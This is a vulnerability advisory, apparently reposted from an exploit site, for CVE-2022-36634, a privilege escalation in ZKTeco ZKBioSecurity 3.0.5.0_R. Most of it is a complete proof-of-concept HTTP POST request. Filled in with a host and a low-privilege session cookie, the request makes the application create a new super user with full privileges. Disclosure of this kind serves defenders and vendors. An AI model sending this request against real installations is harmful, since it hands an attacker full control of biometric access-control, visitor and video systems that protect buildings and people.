Kod:
#######################ADVISORY INFORMATION#######################
Product: ZKSecurity BIO
Vendor: ZKTeco
Version Affected: 3.0.5.0_R
CVE: CVE-2022-36634
Vulnerability: User privilege escalation
#######################CREDIT#######################
This vulnerability was discovered and researched by Caio Burgardt and
Silton Santos.
#######################INTRODUCTION#######################
Based on the hybrid biometric technology and computer vision technology,
ZKBioSecurity provides a comprehensive web-based security platform. It
contains multiple integrated modules: personnel, time & attendance, access
control, visitor management, offline & online consumption management, guard
patrol, parking, elevator control, entrance control, Facekiosk, intelligent
video management, mask and temperature detection module, and other smart
sub-systems.
#######################VULNERABILITY DETAILS#######################
The application's access control management does not check the session's
permissions correctly. An attacker with "Person Self-Login" or "User"
privilege can create a super user with full privileges in the application
#######################PROOF OF CONCEPT#######################
POST /authUserAction!edit.action HTTP/1.1
Host: {HOST}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101
Firefox/102.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=---------------------------291763244192371568695079347
Content-Length: 1956
Origin: http://{HOST}:8088
Connection: close
Referer: http://{HOST}:8088/base_index.action
Cookie: <INSERT_LOW-PRIVILEGE_COOKIE_HERE>
Upgrade-Insecure-Requests: 1
-----------------------------291763244192371568695079347
Content-Disposition: form-data; name="authUser.username"
test_privesc
-----------------------------291763244192371568695079347
Content-Disposition: form-data; name="authUser.loginPwd"
KDla123
-----------------------------291763244192371568695079347
Content-Disposition: form-data; name="repassword"
KDla123
-----------------------------291763244192371568695079347
Content-Disposition: form-data; name="authUser.isActive"
true
-----------------------------291763244192371568695079347
Content-Disposition: form-data; name="authUser.isSuperuser"
true
-----------------------------291763244192371568695079347
Content-Disposition: form-data; name="groupIds"
-----------------------------291763244192371568695079347
Content-Disposition: form-data; name="deptIds"
-----------------------------291763244192371568695079347
Content-Disposition: form-data; name="areaIds"
-----------------------------291763244192371568695079347
Content-Disposition: form-data; name="authUser.email"
-----------------------------291763244192371568695079347
Content-Disposition: form-data; name="authUser.name"
-----------------------------291763244192371568695079347
Content-Disposition: form-data; name="authUser.lastName"
-----------------------------291763244192371568695079347
Content-Disposition: form-data; name="fingerTemplate"
-----------------------------291763244192371568695079347
Content-Disposition: form-data; name="fingerId"
-----------------------------291763244192371568695079347
Content-Disposition: form-data; name="logMethod"
add
-----------------------------291763244192371568695079347
Content-Disposition: form-data; name="un"
1657813612925_286
-----------------------------291763244192371568695079347
Content-Disposition: form-data; name="systemCode"
base
-----------------------------291763244192371568695079347--
#######################END#######################
# 0day.today [2022-10-03] #